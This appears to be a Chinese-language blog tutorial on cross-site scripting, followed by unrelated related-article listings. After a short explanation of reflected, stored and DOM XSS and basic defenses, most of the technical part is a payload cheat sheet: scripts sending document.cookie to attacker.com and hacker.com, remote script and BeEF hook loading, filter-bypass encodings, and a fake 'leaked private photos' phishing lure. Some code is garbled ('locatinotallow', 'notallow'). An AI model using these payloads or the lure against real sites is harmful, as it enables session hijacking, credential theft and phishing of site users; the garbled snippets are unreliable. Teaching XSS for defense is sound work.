XSS漏DONG原理(一)

简介: XSS漏DONG原理(一)

原理

XSS(跨站脚本公鸡)是一种常见的网络安全漏洞,公鸡者通过在受信任的网站上注入恶意脚本,使其在用户浏览器中执行。这些恶意脚本可以窃取用户的敏感信息,如登录凭证、个人信息等,或者进行其他恶意操作。

XSS漏洞的原理是公鸡者将恶意脚本注入到受信任的网站中,然后当用户访问该网站时,恶意脚本会被执行。这种注入可以通过多种方式实现,包括在输入框中注入恶意脚本、通过URL参数注入脚本等。

公鸡者通常利用以下几种类型的XSS漏洞进行公鸡:

存储型XSS:公鸡者将恶意脚本存储在服务器上,当其他用户访问包含该脚本的页面时,恶意脚本会被执行。

反射型XSS:公鸡者将恶意脚本作为参数注入到URL中,当用户点击包含该恶意脚本的URL时,恶意脚本会被执行。

DOM型XSS:公鸡者通过修改页面的DOM结构来触发XSS漏洞,使恶意脚本被执行。

为了防止XSS漏洞,开发人员应该采取以下措施:

对用户输入进行严格的验证和过滤,确保不允许恶意脚本注入。

对输出的内容进行适当的编码,以防止恶意脚本被执行。

使用安全的编程语言和框架,避免常见的XSS漏洞。

及时更新和修补已知的安全漏洞。

image.png

1、XSS(Cross Site Scripting)跨站脚本公鸡是基于客户端的Web公鸡,跟SQL注入公鸡一样稳居OWASP前三,危害极大  

2、XSS即公鸡者构造脚本(一般是Javascript)到Web页面,受害者通过点击链接即被公鸡  

若拿到了管理员的cookie,则功效相当于SQL注 入,直接控制整个网站  

3、XSS公鸡点一般出现在网页中的评论框、留言板、搜索框等"用户输入"的地方

4、XSS漏洞形成主要是Web服务端没有对脚本文件如<script>进行安全过滤

基于DOM和Ajax等技术,慢慢迁移到客户端

例如在DVWAXSS输入框里输入:

<script>alert('xss')</script>

image.png

危害

网页挂马

网页挂马是指黑客通过各种手段将恶意代码嵌入到网页中,使得用户在访问该网页时受到公鸡。这种公鸡方式主要是通过在网页的代码中插入恶意的JavaScript代码或其他类型的代码来实现的。当用户访问被挂马的网页时,恶意代码会自动执行,从而导致用户的计算机感染病读、遭受钓鱼公鸡、泄露个人信息等安全问题。

网页挂马的目的通常是为了获取用户的敏感信息、传播恶意软件、进行网络钓鱼等非法活动。黑客可以利用各种漏洞和技术手段来实现网页挂马,例如利用网站的安全漏洞、操纵广告投放、劫持网页链接等。

为了防止网页挂马,网站管理员需要定期检查网站的安全性,及时修补漏洞,使用安全的编码实践,限制用户输入,过滤恶意代码等。用户在浏览网页时也应该保持警惕,避免点击可疑链接,及时更新浏览器和安全软件,以提高自身的安全防护能力。

会话劫持

用户劫持

直接控制受害者  

信息窃取

盗取各类用户账号、如网银账号、游戏账号、电 商账号等  

键盘记录

网站钓鱼

钓鱼网站

XSS DDOS

XSS蠕虫

分类  

反射型XSS(Reflected XSS)

非持久型XSS  

非持久型XSS是指恶意脚本只在用户访问受感染的页面时执行一次,不会被存储到服务器端。与持久型XSS不同,非持久型XSS的公鸡效果只在当前用户会话中生效,不会对其他用户产生影响。

以下是一个非持久型XSS的例子:

<!DOCTYPE html>
<html>
<head>
<script>
function xssAttack() {
  var userInput = document.getElementById("userInput").value;
  document.getElementById("output").innerHTML = userInput;
}
</script>
</head>
<body>
<h1>非持久型XSS演示</h1>
<input type="text" id="userInput">
<button onclick="xssAttack()">提交</button>
<p id="output"></p>
</body>
</html>

用户在输入框中输入恶意代码,例如<script>alert('XSS公鸡')</script>,点击提交按钮后,恶意代码会被执行,并弹出一个警示框。这种公鸡只在当前用户会话中生效,不会对其他用户产生影响

存储型XSS(Stored XSS)

持久型XSS(挂马)

持久型XSS是一种常见的网络安全漏洞,它允许公鸡者将恶意脚本注入到网站的数据库中,然后在用户访问该网站时执行这些恶意脚本。这种漏洞之所以被称为"持久型",是因为恶意脚本会被永久地存储在目标网站的数据库中,每当用户访问受影响的页面时,这些脚本都会被执行。

持久型XSS的危害非常大,公鸡者可以利用它来窃取用户的敏感信息,如登录凭证、个人信息等。公鸡者还可以通过在受影响的网站上注入恶意代码,将用户重定向到恶意网站,甚至控制用户的浏览器。

以下是一个持久型XSS的示例:

假设有一个博客网站,用户可以在评论区发表评论。网站的开发者没有对用户输入进行充分的过滤和验证,导致公鸡者可以在评论中注入恶意脚本。

公鸡者可以在评论中输入以下内容:

<script>
  // 恶意代码,例如窃取用户的Cookie
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "http://attacker.com/steal.php?cookie=" + document.cookie, true);
  xhr.send();
</script>

当其他用户访问包含这个恶意评论的页面时,他们的浏览器会执行这段恶意脚本,将用户的Cookie发送到公鸡者控制的服务器上。

为了防止持久型XSS公鸡,开发者应该对用户输入进行严格的过滤和验证,并使用适当的编码来防止恶意脚本的注入

DOM型XSS

基于DOM文档对象类型构造XSS语句

document.cookie

document.location  

手工思路

image.png

寻找XSS漏洞点

构造XSS链接  

挂马

钓鱼

等待肉鸡上钩

1.kali linux

(1)xssf + metaspolit

(2)BeEF  

2.windows 7  

XSS脚本解读

image.png

常用HTML标签

<iframe>

<textarea>

<img>  

常用JavaScript方法

image.png

 

alert//弹框

windows.location//事件信息/重定向

location.href//事件信息/重定向

onload//加载

onsubmit//提交

onerror //出错加载

windows.location和location.href都是JavaScript中用于获取当前页面URL的属性。

windows.location是一个对象,它包含了当前页面的URL信息,包括协议、主机、端口、路径等。可以通过windows.location来获取或修改当前页面的URL信息。

location.href是windows.location对象的一个属性,它返回当前页面的完整URL。可以通过location.href来获取当前页面的URL。

以下是一个示例:

console.log(windows.location); // 输出:[object Location]
console.log(location.href); // 输出://www.jb51.net/

image.png

<script>alert('xss')</script>

此脚本实现弹框提示,一般作为漏洞测试或者演示使用。类似SQL注入漏洞测试中的单引号’

一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/'

这样就可以证明,这个页面位置存在了XSS漏洞  

<script>alert(document.cookie)</script>

获取cookie并显示

自己看自己cookie没意义,一般需要结合其他代码,让用户点击并发送cookie到自己架设的服务器  

页面嵌套

image.png

<iframe src=http://www.baidu.com width=300 height=300></iframe>


<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

image.png

 

<script>window.locatinotallow="http://www.hacker.com"</script>


<script>location.href="http://www.hacker.com"</script>


<script>location.href="http://172.16.70.214/mutillidae/robots.txt"</script>


弹框警告并重定向  

image.png

<script>alert("请移步到我们的新站");location.href="http://new.hacker.com"</script>

<script>alert('请移步到我们的新站');location.href="http://172.16.70.214/mutillidae/robots.txt"</script>

<script>alert('xss');location.href="http://172.16.70.214/mutillidae/robots.txt"</script>

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户

如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收 集账户)

社工文案:【紧急通知-您的私房照泄露了】  


image.png

image.png

<script src="http://www.hacker.com/xss.js"></script>


1.将用户重定向到其他页面并读取xss.js内容

2.xss.js内容可以构造危害更大的脚本功能  

(1)浏览器被劫持

(2)与CSRF结合,网银转账  

<script src="172.16.70.216:3000/hook.js"></script>

BeEF框架的JS语句  

巧用图片标签

image.png

<img src="#" notallow=alert('xss')>


若图片链接无效,则执行src  

可以绕开<script>过滤  
<img src="javascript:alert('xss');">
<img src="172.16.70.216:3000/hook.js"></img>


<img src=#

onerror="document.body.appendChild(document.createElement('script')).src='//www.hacker.com/cookie.js'">


绕开过滤的脚本

image.png

大小写

<ScrIpt>alert('xss')</SCRipt>  

字符编码

url  

%3c%73%63%72%49%70%74%3e%61%6c%

65%72%74%28%27%78%73%73%27%29%3c%

2f%73%63%72%69%70%74%3e  

代码混淆

 http://tool.chinaz.com/tools/jscodeconfusion. aspx

<script>window["\x61\x6c\x65\x72\x74"]('\ x78\x73\x73')</script>  

收集用户cookie  

image.png

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>  

<script>document.locatinotallow=" http://www.hacker.com/cookie.php?cookie="+ document.cookie</script>  

<script>new Image().src=" http://www.hacker.com/cookie.php?cookie="+ document.cookie;</script>

其他

image.png

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>  

当<script>被过滤时使用  

<iframe src="http://www.hacker.com/cookie.php?cookie='+ document.cookie"></iframe>  

<script>
new Image().src="http://www.hacker.com/cookie.php?cookie='+
document.cookie";
img.width = 0;
img.height = 0;
</script>

服务器端Web文件

PHP文件

image.png

相关文章
|
24天前
|
弹性计算 人工智能 架构师
阿里云携手Altair共拓云上工业仿真新机遇
2024年9月12日,「2024 Altair 技术大会杭州站」成功召开,阿里云弹性计算产品运营与生态负责人何川,与Altair中国技术总监赵阳在会上联合发布了最新的“云上CAE一体机”。
阿里云携手Altair共拓云上工业仿真新机遇
|
16天前
|
存储 关系型数据库 分布式数据库
GraphRAG:基于PolarDB+通义千问+LangChain的知识图谱+大模型最佳实践
本文介绍了如何使用PolarDB、通义千问和LangChain搭建GraphRAG系统,结合知识图谱和向量检索提升问答质量。通过实例展示了单独使用向量检索和图检索的局限性,并通过图+向量联合搜索增强了问答准确性。PolarDB支持AGE图引擎和pgvector插件,实现图数据和向量数据的统一存储与检索,提升了RAG系统的性能和效果。
|
20天前
|
机器学习/深度学习 算法 大数据
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
2024“华为杯”数学建模竞赛,对ABCDEF每个题进行详细的分析,涵盖风电场功率优化、WLAN网络吞吐量、磁性元件损耗建模、地理环境问题、高速公路应急车道启用和X射线脉冲星建模等多领域问题,解析了问题类型、专业和技能的需要。
2577 22
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
|
18天前
|
人工智能 IDE 程序员
期盼已久!通义灵码 AI 程序员开启邀测,全流程开发仅用几分钟
在云栖大会上,阿里云云原生应用平台负责人丁宇宣布,「通义灵码」完成全面升级,并正式发布 AI 程序员。
|
3天前
|
JSON 自然语言处理 数据管理
阿里云百炼产品月刊【2024年9月】
阿里云百炼产品月刊【2024年9月】,涵盖本月产品和功能发布、活动,应用实践等内容,帮助您快速了解阿里云百炼产品的最新动态。
阿里云百炼产品月刊【2024年9月】
|
2天前
|
存储 人工智能 搜索推荐
数据治理,是时候打破刻板印象了
瓴羊智能数据建设与治理产品Datapin全面升级,可演进扩展的数据架构体系为企业数据治理预留发展空间,推出敏捷版用以解决企业数据量不大但需构建数据的场景问题,基于大模型打造的DataAgent更是为企业用好数据资产提供了便利。
163 2
|
20天前
|
机器学习/深度学习 算法 数据可视化
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
2024年中国研究生数学建模竞赛C题聚焦磁性元件磁芯损耗建模。题目背景介绍了电能变换技术的发展与应用,强调磁性元件在功率变换器中的重要性。磁芯损耗受多种因素影响,现有模型难以精确预测。题目要求通过数据分析建立高精度磁芯损耗模型。具体任务包括励磁波形分类、修正斯坦麦茨方程、分析影响因素、构建预测模型及优化设计条件。涉及数据预处理、特征提取、机器学习及优化算法等技术。适合电气、材料、计算机等多个专业学生参与。
1576 16
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
|
22天前
|
编解码 JSON 自然语言处理
通义千问重磅开源Qwen2.5,性能超越Llama
击败Meta,阿里Qwen2.5再登全球开源大模型王座
973 14
|
3天前
|
Linux 虚拟化 开发者
一键将CentOs的yum源更换为国内阿里yum源
一键将CentOs的yum源更换为国内阿里yum源
219 2
|
17天前
|
人工智能 开发框架 Java
重磅发布!AI 驱动的 Java 开发框架:Spring AI Alibaba
随着生成式 AI 的快速发展,基于 AI 开发框架构建 AI 应用的诉求迅速增长,涌现出了包括 LangChain、LlamaIndex 等开发框架,但大部分框架只提供了 Python 语言的实现。但这些开发框架对于国内习惯了 Spring 开发范式的 Java 开发者而言,并非十分友好和丝滑。因此,我们基于 Spring AI 发布并快速演进 Spring AI Alibaba,通过提供一种方便的 API 抽象,帮助 Java 开发者简化 AI 应用的开发。同时,提供了完整的开源配套,包括可观测、网关、消息队列、配置中心等。
734 9